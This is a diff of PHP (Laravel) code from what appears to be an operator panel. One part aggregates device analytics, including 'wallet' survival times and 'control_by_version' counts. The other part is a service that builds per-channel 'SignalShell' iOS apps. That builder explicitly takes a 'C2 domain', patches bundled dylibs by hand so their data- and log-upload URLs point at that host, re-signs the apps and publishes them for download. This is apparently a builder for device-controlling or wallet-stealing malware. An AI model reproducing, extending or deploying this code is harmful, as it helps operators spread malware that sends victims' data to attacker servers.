* control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}>
|
||||||
|
* }
|
||||||
|
*/
|
||||||
|
private function present(Carbon $from, Carbon $to, ?int $agentUserId): array
|
||||||
|
{
|
||||||
|
$scope = DailyReportService::scopeKey($agentUserId);
|
||||||
|
$rows = AnalyticsDailyDim::query()
|
||||||
|
->where('scope_key', $scope)
|
||||||
|
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()])
|
||||||
|
->get();
|
||||||
|
|
||||||
|
$osUv = [AnalyticsDailyDim::DIM_IOS => 0, AnalyticsDailyDim::DIM_OTHER => 0];
|
||||||
|
$visitVersions = [];
|
||||||
|
$visitEffective = [];
|
||||||
|
$deviceVersions = [];
|
||||||
|
$visitCountries = [];
|
||||||
|
$deviceCountries = [];
|
||||||
|
$survivalDevices = 0;
|
||||||
|
$survivalSeconds = 0;
|
||||||
|
$walletDevices = 0;
|
||||||
|
$walletSeconds = 0;
|
||||||
|
$computedAt = null;
|
||||||
|
|
||||||
|
foreach ($rows as $row) {
|
||||||
|
if ($row->computed_at !== null && ($computedAt === null || $row->computed_at->gt($computedAt))) {
|
||||||
|
$computedAt = $row->computed_at;
|
||||||
|
}
|
||||||
|
if ($row->kind === AnalyticsDailyDim::KIND_VISIT_OS) {
|
||||||
|
$osUv[$row->dim] = ($osUv[$row->dim] ?? 0) + (int) $row->uv;
|
||||||
|
} elseif ($row->kind === AnalyticsDailyDim::KIND_VISIT_VERSION) {
|
||||||
|
$visitVersions[$row->dim] = ($visitVersions[$row->dim] ?? 0) + (int) $row->uv;
|
||||||
|
$visitEffective[$row->dim] = ($visitEffective[$row->dim] ?? 0) + (int) $row->effective_uv;
|
||||||
|
} elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_VERSION) {
|
||||||
|
$deviceVersions[$row->dim] = ($deviceVersions[$row->dim] ?? 0) + (int) $row->devices;
|
||||||
|
} elseif ($row->kind === AnalyticsDailyDim::KIND_VISIT_COUNTRY) {
|
||||||
|
$visitCountries[$row->dim] = ($visitCountries[$row->dim] ?? 0) + (int) $row->uv;
|
||||||
|
} elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_COUNTRY) {
|
||||||
|
$deviceCountries[$row->dim] = ($deviceCountries[$row->dim] ?? 0) + (int) $row->devices;
|
||||||
|
} elseif ($row->kind === AnalyticsDailyDim::KIND_SURVIVAL) {
|
||||||
|
$survivalDevices += (int) $row->devices;
|
||||||
|
$survivalSeconds += (int) $row->seconds_sum;
|
||||||
|
} elseif ($row->kind === AnalyticsDailyDim::KIND_SURVIVAL_WALLET) {
|
||||||
|
$walletDevices += (int) $row->devices;
|
||||||
|
$walletSeconds += (int) $row->seconds_sum;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$osTotal = $osUv[AnalyticsDailyDim::DIM_IOS] + $osUv[AnalyticsDailyDim::DIM_OTHER];
|
||||||
|
$visitUvSum = array_sum($visitVersions);
|
||||||
|
$deviceTotal = array_sum($deviceVersions);
|
||||||
|
$avgSeconds = $survivalDevices > 0 ? (int) round($survivalSeconds / $survivalDevices) : null;
|
||||||
|
$walletAvgSeconds = $walletDevices > 0 ? (int) round($walletSeconds / $walletDevices) : null;
|
||||||
|
|
||||||
|
$labels = array_values(array_unique([...array_keys($visitEffective), ...array_keys($deviceVersions)]));
|
||||||
|
usort($labels, $this->versionSort(...));
|
||||||
|
|
||||||
|
$control = [];
|
||||||
|
foreach ($labels as $label) {
|
||||||
|
$effectiveUv = (int) ($visitEffective[$label] ?? 0);
|
||||||
|
$devices = (int) ($deviceVersions[$label] ?? 0);
|
||||||
|
$control[] = [
|
||||||
|
'label' => $label,
|
||||||
|
'effective_uv' => $effectiveUv,
|
||||||
|
'devices' => $devices,
|
||||||
|
'pct' => $effectiveUv > 0 ? round($devices / $effectiveUv * 100, 1) : null,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
usort($control, function (array $a, array $b): int {
|
||||||
|
return $b['effective_uv'] <=> $a['effective_uv']
|
||||||
|
?: $b['devices'] <=> $a['devices']
|
||||||
|
?: $this->versionSort($a['label'], $b['label']);
|
||||||
|
});
|
||||||
|
|
||||||
|
return [
|
||||||
|
'from' => $from->toDateString(),
|
||||||
|
'to' => $to->toDateString(),
|
||||||
|
'computed_at' => $computedAt?->toDateTimeString(),
|
||||||
|
'survival' => [
|
||||||
|
'avg_seconds' => $avgSeconds,
|
||||||
|
'avg_label' => $this->formatDuration($avgSeconds),
|
||||||
|
'devices' => $survivalDevices,
|
||||||
|
],
|
||||||
|
'survival_wallet' => [
|
||||||
|
'avg_seconds' => $walletAvgSeconds,
|
||||||
|
'avg_label' => $this->formatDuration($walletAvgSeconds),
|
||||||
|
'devices' => $walletDevices,
|
||||||
|
],
|
||||||
|
'by_os' => [
|
||||||
|
$this->visitRow(AnalyticsDailyDim::DIM_IOS, $osUv[AnalyticsDailyDim::DIM_IOS], $osTotal),
|
||||||
|
$this->visitRow(AnalyticsDailyDim::DIM_OTHER, $osUv[AnalyticsDailyDim::DIM_OTHER], $osTotal),
|
||||||
|
],
|
||||||
|
'by_ios_version' => $this->visitVersionRows($visitVersions, $visitUvSum),
|
||||||
|
'by_device_ios_version' => $this->deviceVersionRows($deviceVersions, $deviceTotal),
|
||||||
|
'by_visit_country' => $this->countryRows($visitCountries, array_sum($visitCountries), 'uv'),
|
||||||
|
'by_device_country' => $this->countryRows($deviceCountries, array_sum($deviceCountries), 'count'),
|
||||||
|
'control_by_version' => $control,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, int> $versions
|
||||||
|
* @return list<array{label: string, uv: int, pct: float}>
|
||||||
|
*/
|
||||||
|
private function visitVersionRows(array $versions, int $total): array
|
||||||
|
{
|
||||||
|
$labels = array_keys($versions);
|
||||||
|
usort($labels, $this->versionSort(...));
|
||||||
|
$rows = [];
|
||||||
|
foreach ($labels as $label) {
|
||||||
|
$uv = (int) $versions[$label];
|
||||||
|
$rows[] = $this->visitRow($label, $uv, $total);
|
||||||
|
}
|
||||||
|
usort($rows, fn (array $a, array $b) => $b['uv'] <=> $a['uv'] ?: $this->versionSort($a['label'], $b['label']));
|
||||||
|
|
||||||
|
return $rows;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, int> $versions
|
||||||
|
* @return list<array{label: string, count: int, pct: float}>
|
||||||
|
*/
|
||||||
|
private function deviceVersionRows(array $versions, int $total): array
|
||||||
|
{
|
||||||
|
$labels = array_keys($versions);
|
||||||
|
usort($labels, $this->versionSort(...));
|
||||||
|
$rows = [];
|
||||||
|
foreach ($labels as $label) {
|
||||||
|
$count = (int) $versions[$label];
|
||||||
|
$pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0;
|
||||||
|
$rows[] = [
|
||||||
|
'label' => $label,
|
||||||
|
'count' => $count,
|
||||||
|
'pct' => $pct,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
usort($rows, fn (array $a, array $b) => $b['count'] <=> $a['count'] ?: $this->versionSort($a['label'], $b['label']));
|
||||||
|
|
||||||
|
return $rows;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 按国家维度汇总,dim 存 ISO 代码,label 转中文名展示。
|
||||||
|
*
|
||||||
|
* @param array<string, int> $countries
|
||||||
|
* @return list<array{label: string, uv: int, pct: float}>|list<array{label: string, count: int, pct: float}>
|
||||||
|
*/
|
||||||
|
private function countryRows(array $countries, int $total, string $valueKey): array
|
||||||
|
{
|
||||||
|
$labels = array_keys($countries);
|
||||||
|
usort($labels, function (string $a, string $b) use ($countries): int {
|
||||||
|
return ($countries[$b] ?? 0) <=> ($countries[$a] ?? 0) ?: strcmp($a, $b);
|
||||||
|
});
|
||||||
|
$rows = [];
|
||||||
|
foreach ($labels as $code) {
|
||||||
|
$value = (int) $countries[$code];
|
||||||
|
$label = $code === AnalyticsDailyDim::DIM_UNKNOWN
|
||||||
|
? AnalyticsDailyDim::DIM_UNKNOWN
|
||||||
|
: CfIpCountry::label($code);
|
||||||
|
$rows[] = [
|
||||||
|
'label' => $label ?: $code,
|
||||||
|
$valueKey => $value,
|
||||||
|
'pct' => $total > 0 ? round(($value / $total) * 100, 1) : 0.0,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $rows;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{label: string, uv: int, pct: float}
|
||||||
|
*/
|
||||||
|
private function visitRow(string $label, int $uv, int $total): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'label' => $label,
|
||||||
|
'uv' => $uv,
|
||||||
|
'pct' => $total > 0 ? round(($uv / $total) * 100, 1) : 0.0,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{kind: string, dim: string, uv: int, effective_uv: int, devices: int, seconds_sum: int}
|
||||||
|
*/
|
||||||
|
private function dimRow(
|
||||||
|
string $kind,
|
||||||
|
string $dim,
|
||||||
|
int $uv = 0,
|
||||||
|
int $effectiveUv = 0,
|
||||||
|
int $devices = 0,
|
||||||
|
int $secondsSum = 0,
|
||||||
|
): array {
|
||||||
|
return [
|
||||||
|
'kind' => $kind,
|
||||||
|
'dim' => $dim,
|
||||||
|
'uv' => $uv,
|
||||||
|
'effective_uv' => $effectiveUv,
|
||||||
|
'devices' => $devices,
|
||||||
|
'seconds_sum' => $secondsSum,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cachedDays(string $scope, string $kind, Carbon $from, Carbon $to): int
|
||||||
|
{
|
||||||
|
return AnalyticsDailyDim::query()
|
||||||
|
->where('scope_key', $scope)
|
||||||
|
->where('kind', $kind)
|
||||||
|
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()])
|
||||||
|
->count();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function dayHasSurvival(string $scope, Carbon $day): bool
|
||||||
|
{
|
||||||
|
$date = $day->toDateString();
|
||||||
|
|
||||||
|
return AnalyticsDailyDim::query()
|
||||||
|
->where('scope_key', $scope)
|
||||||
|
->where('stat_date', $date)
|
||||||
|
->where('kind', AnalyticsDailyDim::KIND_SURVIVAL)
|
||||||
|
->exists()
|
||||||
|
&& AnalyticsDailyDim::query()
|
||||||
|
->where('scope_key', $scope)
|
||||||
|
->where('stat_date', $date)
|
||||||
|
->where('kind', AnalyticsDailyDim::KIND_SURVIVAL_WALLET)
|
||||||
|
->exists();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function versionDimSql(string $column): string
|
||||||
|
{
|
||||||
|
return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE TRIM({$column}) END";
|
||||||
|
}
|
||||||
|
|
||||||
|
private function countryDimSql(string $column): string
|
||||||
|
{
|
||||||
|
return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE UPPER(TRIM({$column})) END";
|
||||||
|
}
|
||||||
|
|
||||||
|
private function survivalSecondsSql(): string
|
||||||
|
{
|
||||||
|
if (DB::connection()->getDriverName() === 'sqlite') {
|
||||||
|
return "MAX(0, CAST(strftime('%s', updated_at) AS INTEGER) - CAST(strftime('%s', created_at) AS INTEGER))";
|
||||||
|
}
|
||||||
|
|
||||||
|
return 'GREATEST(0, TIMESTAMPDIFF(SECOND, created_at, updated_at))';
|
||||||
|
}
|
||||||
|
|
||||||
|
private function clipDim(string $dim): string
|
||||||
|
{
|
||||||
|
$dim = trim($dim);
|
||||||
|
if ($dim === '') {
|
||||||
|
return AnalyticsDailyDim::DIM_UNKNOWN;
|
||||||
|
}
|
||||||
|
|
||||||
|
return mb_substr($dim, 0, 64);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function versionSort(string $a, string $b): int
|
||||||
|
{
|
||||||
|
if ($a === AnalyticsDailyDim::DIM_UNKNOWN) {
|
||||||
|
return $b === AnalyticsDailyDim::DIM_UNKNOWN ? 0 : 1;
|
||||||
|
}
|
||||||
|
if ($b === AnalyticsDailyDim::DIM_UNKNOWN) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
$cmp = version_compare($a, $b);
|
||||||
|
|
||||||
|
return $cmp === 0 ? strcmp($a, $b) : $cmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function formatDuration(?int $seconds): string
|
||||||
|
{
|
||||||
|
if ($seconds === null) {
|
||||||
|
return '—';
|
||||||
|
}
|
||||||
|
$seconds = max(0, $seconds);
|
||||||
|
if ($seconds < 60) {
|
||||||
|
return $seconds.' 秒';
|
||||||
|
}
|
||||||
|
if ($seconds < 3600) {
|
||||||
|
return intdiv($seconds, 60).' 分钟';
|
||||||
|
}
|
||||||
|
$days = intdiv($seconds, 86400);
|
||||||
|
$hours = intdiv($seconds % 86400, 3600);
|
||||||
|
$mins = intdiv($seconds % 3600, 60);
|
||||||
|
if ($days > 0) {
|
||||||
|
return $hours > 0 ? $days.' 天 '.$hours.' 小时' : $days.' 天';
|
||||||
|
}
|
||||||
|
|
||||||
|
return $mins > 0 ? $hours.' 小时 '.$mins.' 分钟' : $hours.' 小时';
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,410 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\Channel;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
use Illuminate\Support\Facades\Process;
|
||||||
|
use RuntimeException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build a customized SignalShell IPA for App-builder channels.
|
||||||
|
*
|
||||||
|
* Takes a base IPA template, patches it with the channel's
|
||||||
|
* domain / channel ID / app name / logo, and outputs a
|
||||||
|
* downloadable IPA file.
|
||||||
|
*/
|
||||||
|
class AppPackageService
|
||||||
|
{
|
||||||
|
/** Base IPA template path (uploaded once via admin). */
|
||||||
|
private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';
|
||||||
|
|
||||||
|
/** Icon sizes to generate from the uploaded logo. */
|
||||||
|
private const ICON_SIZES = [
|
||||||
|
'Icon-20.png' => 20,
|
||||||
|
'Icon-20@2x.png' => 40,
|
||||||
|
'Icon-20@3x.png' => 60,
|
||||||
|
'Icon-29.png' => 29,
|
||||||
|
'Icon-29@2x.png' => 58,
|
||||||
|
'Icon-29@3x.png' => 87,
|
||||||
|
'Icon-40.png' => 40,
|
||||||
|
'Icon-40@2x.png' => 80,
|
||||||
|
'Icon-40@3x.png' => 120,
|
||||||
|
'Icon-60@2x.png' => 120,
|
||||||
|
'Icon-60@3x.png' => 180,
|
||||||
|
'Icon-76.png' => 76,
|
||||||
|
'Icon-76@2x.png' => 152,
|
||||||
|
'Icon-83.5@2x.png' => 167,
|
||||||
|
];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build a customized IPA for the given channel.
|
||||||
|
*
|
||||||
|
* @param Channel $channel App-builder channel with app_name, bundle_id, channel_id
|
||||||
|
* @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180)
|
||||||
|
* @param string $apiDomain C2 domain (e.g. hslaxo.cc)
|
||||||
|
* @return array{success: bool, path: string, size: int, error: string}
|
||||||
|
*/
|
||||||
|
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
||||||
|
{
|
||||||
|
$baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
|
||||||
|
if (! file_exists($baseIpa)) {
|
||||||
|
return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
|
||||||
|
}
|
||||||
|
|
||||||
|
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
||||||
|
if (is_dir($workDir)) {
|
||||||
|
$this->rrmdir($workDir);
|
||||||
|
}
|
||||||
|
@mkdir($workDir, 0755, true);
|
||||||
|
|
||||||
|
try {
|
||||||
|
// 1. Extract base IPA
|
||||||
|
$zip = new \ZipArchive;
|
||||||
|
if ($zip->open($baseIpa) !== true) {
|
||||||
|
throw new RuntimeException('Cannot open base IPA');
|
||||||
|
}
|
||||||
|
$zip->extractTo($workDir);
|
||||||
|
$zip->close();
|
||||||
|
|
||||||
|
$appDir = $workDir.'/Payload/SignalShell.app';
|
||||||
|
if (! is_dir($appDir)) {
|
||||||
|
// Try to find any .app directory
|
||||||
|
$payload = $workDir.'/Payload';
|
||||||
|
$dirs = glob($payload.'/*.app');
|
||||||
|
if (empty($dirs)) {
|
||||||
|
throw new RuntimeException('No .app directory found in IPA');
|
||||||
|
}
|
||||||
|
$appDir = $dirs[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Patch Info.plist
|
||||||
|
$this->patchInfoPlist($appDir, $channel, $apiDomain);
|
||||||
|
|
||||||
|
// 3. Generate icons from logo
|
||||||
|
if ($logoPath && file_exists($logoPath)) {
|
||||||
|
$this->generateIcons($appDir, $logoPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. Patch libroute.dylib (domain + channel ID)
|
||||||
|
$this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
|
||||||
|
|
||||||
|
// 5. Patch libmcmlease.dylib (domain)
|
||||||
|
$this->patchLibmcmlease($appDir, $apiDomain);
|
||||||
|
|
||||||
|
// 6. Sign (ldid if available, skip otherwise)
|
||||||
|
$this->sign($appDir);
|
||||||
|
|
||||||
|
// 7. Package IPA
|
||||||
|
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
||||||
|
$outputFull = public_path($outputPath);
|
||||||
|
@mkdir(dirname($outputFull), 0755, true);
|
||||||
|
|
||||||
|
$outZip = new \ZipArchive;
|
||||||
|
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
||||||
|
throw new RuntimeException('Cannot create output IPA');
|
||||||
|
}
|
||||||
|
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
||||||
|
$outZip->close();
|
||||||
|
|
||||||
|
$size = filesize($outputFull);
|
||||||
|
|
||||||
|
// Cleanup
|
||||||
|
$this->rrmdir($workDir);
|
||||||
|
|
||||||
|
return [
|
||||||
|
'success' => true,
|
||||||
|
'path' => '/'.$outputPath,
|
||||||
|
'size' => $size,
|
||||||
|
'error' => '',
|
||||||
|
];
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->rrmdir($workDir);
|
||||||
|
Log::error('AppPackageService: build failed', [
|
||||||
|
'channel' => $channel->channel_id,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return [
|
||||||
|
'success' => false,
|
||||||
|
'path' => '',
|
||||||
|
'size' => 0,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function patchInfoPlist(string $appDir, Channel $channel, string $apiDomain): void
|
||||||
|
{
|
||||||
|
$plistPath = $appDir.'/Info.plist';
|
||||||
|
$xml = file_get_contents($plistPath);
|
||||||
|
|
||||||
|
// Replace display name
|
||||||
|
$xml = preg_replace(
|
||||||
|
'#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
|
||||||
|
'<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
|
||||||
|
$xml,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Replace bundle identifier
|
||||||
|
if ($channel->bundle_id) {
|
||||||
|
$xml = preg_replace(
|
||||||
|
'#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
|
||||||
|
'<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
|
||||||
|
$xml,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Replace CFBundleName (short name)
|
||||||
|
$xml = preg_replace(
|
||||||
|
'#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
|
||||||
|
'<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
|
||||||
|
$xml,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Replace ShellConfigEndpoint (config API URL)
|
||||||
|
$configEndpoint = 'https://'.$apiDomain.'/api/ap/config?a='.$channel->channel_id;
|
||||||
|
$xml = preg_replace(
|
||||||
|
'#<key>ShellConfigEndpoint</key>\s*<string>[^<]*</string>#',
|
||||||
|
'<key>ShellConfigEndpoint</key><string>'.htmlspecialchars($configEndpoint).'</string>',
|
||||||
|
$xml,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Replace ShellWebsiteURL (fallback WebView URL)
|
||||||
|
if ($channel->h5_url) {
|
||||||
|
$xml = preg_replace(
|
||||||
|
'#<key>ShellWebsiteURL</key>\s*<string>[^<]*</string>#',
|
||||||
|
'<key>ShellWebsiteURL</key><string>'.htmlspecialchars($channel->h5_url).'</string>',
|
||||||
|
$xml,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
file_put_contents($plistPath, $xml);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function generateIcons(string $appDir, string $logoPath): void
|
||||||
|
{
|
||||||
|
if (! function_exists('imagecreatefrompng')) {
|
||||||
|
// GD not available, copy logo as-is for main icon only
|
||||||
|
copy($logoPath, $appDir.'/Icon-60@3x.png');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$src = imagecreatefrompng($logoPath);
|
||||||
|
if ($src === false) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$srcW = imagesx($src);
|
||||||
|
$srcH = imagesy($src);
|
||||||
|
|
||||||
|
foreach (self::ICON_SIZES as $filename => $size) {
|
||||||
|
$dst = imagecreatetruecolor($size, $size);
|
||||||
|
// Transparent background
|
||||||
|
imagesavealpha($dst, true);
|
||||||
|
$trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
|
||||||
|
imagefill($dst, 0, 0, $trans);
|
||||||
|
|
||||||
|
// Resize (maintain aspect, crop center square)
|
||||||
|
$minSide = min($srcW, $srcH);
|
||||||
|
$srcX = ($srcW - $minSide) / 2;
|
||||||
|
$srcY = ($srcH - $minSide) / 2;
|
||||||
|
imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
|
||||||
|
|
||||||
|
imagepng($dst, $appDir.'/'.$filename, 6);
|
||||||
|
imagedestroy($dst);
|
||||||
|
}
|
||||||
|
imagedestroy($src);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function patchLibroute(string $appDir, string $domain, string $channelId): void
|
||||||
|
{
|
||||||
|
$path = $appDir.'/Frameworks/libroute.dylib';
|
||||||
|
if (! file_exists($path)) {
|
||||||
|
throw new RuntimeException('libroute.dylib not found');
|
||||||
|
}
|
||||||
|
|
||||||
|
$data = file_get_contents($path);
|
||||||
|
$origSize = strlen($data);
|
||||||
|
|
||||||
|
// Helper: in-place string replacement (preserves file size)
|
||||||
|
$replaceInPlace = function (string &$data, string $old, string $new): bool {
|
||||||
|
$idx = strpos($data, $old);
|
||||||
|
if ($idx === false) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
// New must be <= old length
|
||||||
|
if (strlen($new) > strlen($old)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
// Write new bytes
|
||||||
|
for ($i = 0; $i < strlen($new); $i++) {
|
||||||
|
$data[$idx + $i] = $new[$i];
|
||||||
|
}
|
||||||
|
// Null-terminate
|
||||||
|
$data[$idx + strlen($new)] = "\x00";
|
||||||
|
// Clear remaining old bytes
|
||||||
|
for ($i = strlen($new) + 1; $i < strlen($old) + 1; $i++) {
|
||||||
|
$data[$idx + $i] = "\x00";
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
$domain = substr($domain, 0, strlen('shenma.my')); // max 9 chars
|
||||||
|
$channelId = substr($channelId, 0, strlen('a119f32b4955')); // max 12 chars
|
||||||
|
// Pad with '0' if shorter
|
||||||
|
$channelId = str_pad($channelId, strlen('a119f32b4955'), '0');
|
||||||
|
|
||||||
|
// 1. Replace upload URL (in-place, same total length guaranteed)
|
||||||
|
$oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
|
||||||
|
$newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
|
||||||
|
// Ensure same length by adjusting path if needed
|
||||||
|
if (strlen($newUpload) > strlen($oldUpload)) {
|
||||||
|
// Shrink path: /api/ap/upload → /api/ap/u
|
||||||
|
$newUpload = "https://{$domain}/api/ap/u?a={$channelId}&";
|
||||||
|
}
|
||||||
|
if (strlen($newUpload) > strlen($oldUpload)) {
|
||||||
|
throw new RuntimeException('New upload URL exceeds binary space');
|
||||||
|
}
|
||||||
|
// Pad with trailing null bytes to match old length exactly
|
||||||
|
$newUploadPadded = $newUpload.str_repeat("\x00", strlen($oldUpload) - strlen($newUpload));
|
||||||
|
$idx = strpos($data, $oldUpload);
|
||||||
|
if ($idx !== false) {
|
||||||
|
for ($i = 0; $i < strlen($oldUpload); $i++) {
|
||||||
|
$data[$idx + $i] = $i < strlen($newUploadPadded) ? $newUploadPadded[$i] : "\x00";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Replace log upload URL (in-place)
|
||||||
|
$oldLog = 'https://shenma.my/upload.php?name=';
|
||||||
|
$newLog = "https://{$domain}/api/ap/lg?n=";
|
||||||
|
if (strlen($newLog) <= strlen($oldLog)) {
|
||||||
|
$newLogPadded = $newLog.str_repeat("\x00", strlen($oldLog) - strlen($newLog));
|
||||||
|
$idx = strpos($data, $oldLog);
|
||||||
|
if ($idx !== false) {
|
||||||
|
for ($i = 0; $i < strlen($oldLog); $i++) {
|
||||||
|
$data[$idx + $i] = $i < strlen($newLogPadded) ? $newLogPadded[$i] : "\x00";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Replace config path (in-place, pad with nulls)
|
||||||
|
$oldConfig = '/api/ios-shell';
|
||||||
|
$newConfig = '/api/ap';
|
||||||
|
$newConfigPadded = $newConfig.str_repeat("\x00", strlen($oldConfig) - strlen($newConfig));
|
||||||
|
$idx = strpos($data, $oldConfig);
|
||||||
|
if ($idx !== false) {
|
||||||
|
for ($i = 0; $i < strlen($oldConfig); $i++) {
|
||||||
|
$data[$idx + $i] = $i < strlen($newConfigPadded) ? $newConfigPadded[$i] : "\x00";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. Replace any remaining shenma.my (equal length: shenma.my = 9)
|
||||||
|
if (strlen($domain) === 9) {
|
||||||
|
$data = str_replace('shenma.my', $domain, $data);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify file size unchanged
|
||||||
|
if (strlen($data) !== $origSize) {
|
||||||
|
throw new RuntimeException('Binary size changed! orig='.$origSize.' new='.strlen($data));
|
||||||
|
}
|
||||||
|
|
||||||
|
file_put_contents($path, $data);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function patchLibmcmlease(string $appDir, string $domain): void
|
||||||
|
{
|
||||||
|
$path = $appDir.'/Frameworks/libmcmlease.dylib';
|
||||||
|
if (! file_exists($path)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$data = file_get_contents($path);
|
||||||
|
// Equal-length domain replacement
|
||||||
|
if (strlen($domain) === 9) { // same as shenma.my
|
||||||
|
$data = str_replace('shenma.my', $domain, $data);
|
||||||
|
}
|
||||||
|
file_put_contents($path, $data);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function sign(string $appDir): void
|
||||||
|
{
|
||||||
|
// Remove old signatures (plain filesystem ops, no shell needed)
|
||||||
|
$csDir = $appDir.'/_CodeSignature';
|
||||||
|
if (is_dir($csDir)) {
|
||||||
|
$this->rrmdir($csDir);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Do not file_exists() the binary: panel open_basedir is
|
||||||
|
// project + /tmp, so /usr/bin/ldid throws ErrorException.
|
||||||
|
// proc_open (Process::run) can still execute it.
|
||||||
|
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
||||||
|
if ($ldidPath === '') {
|
||||||
|
Log::warning('AppPackageService: ldid path empty, IPA will be unsigned');
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$binaries = array_merge(
|
||||||
|
[$appDir.'/SignalShell'],
|
||||||
|
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||||||
|
glob($appDir.'/*.dylib') ?: [],
|
||||||
|
);
|
||||||
|
|
||||||
|
foreach ($binaries as $bin) {
|
||||||
|
if (! is_string($bin) || $bin === '' || ! is_file($bin)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
$result = Process::run([$ldidPath, '-S', $bin]);
|
||||||
|
if (! $result->successful()) {
|
||||||
|
Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
|
||||||
|
'error' => $result->errorOutput() ?: $result->output(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
||||||
|
{
|
||||||
|
$items = scandir($dir);
|
||||||
|
foreach ($items as $item) {
|
||||||
|
if ($item === '.' || $item === '..') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$path = $dir.'/'.$item;
|
||||||
|
$zipPath = $prefix.'/'.$item;
|
||||||
|
if (is_dir($path)) {
|
||||||
|
$zip->addEmptyDir($zipPath);
|
||||||
|
